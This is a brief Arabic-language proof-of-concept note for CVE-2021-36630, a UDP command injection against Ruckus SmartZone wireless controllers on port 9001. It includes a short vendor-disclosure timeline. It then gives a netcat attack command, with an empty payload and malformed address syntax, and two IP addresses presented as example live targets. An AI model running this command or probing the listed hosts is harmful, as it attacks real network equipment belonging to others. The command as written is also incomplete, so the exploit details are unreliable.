
إثبات مفهوم لاستغلال CVE-2021-36630 يستهدف وحدات تحكم Ruckus SmartZone اللاسلكية عبر حقن أوامر UDP على المنفذ 9001.
أجهزة سلسلة SmartZone من Ruckus بها مخاطر أمنية. بعد إخطار الشركة المصنعة، قاموا بتنظيم موظفين فنيين بنشاط لإجراء التحقيقات. خلال هذه الفترة، قدمنا أيضًا اقتراحات أمنية وطرق تحقق عدة مرات. في 19 يوليو، أصدرت الشركة إعلانًا أمنيًا رسميًا.
أمر الهجوم: echo "" | nc -4u ip:address 9001
مثال عنوان IP: 62.210.8.110?111.107.251.71(RuckusWireless SZ ip)

SmartZone-100 - الكل الكل - Virtual SmartZone
http://ruckus.com http://smartzone-100.com https://anquan.baidu.com/article/1434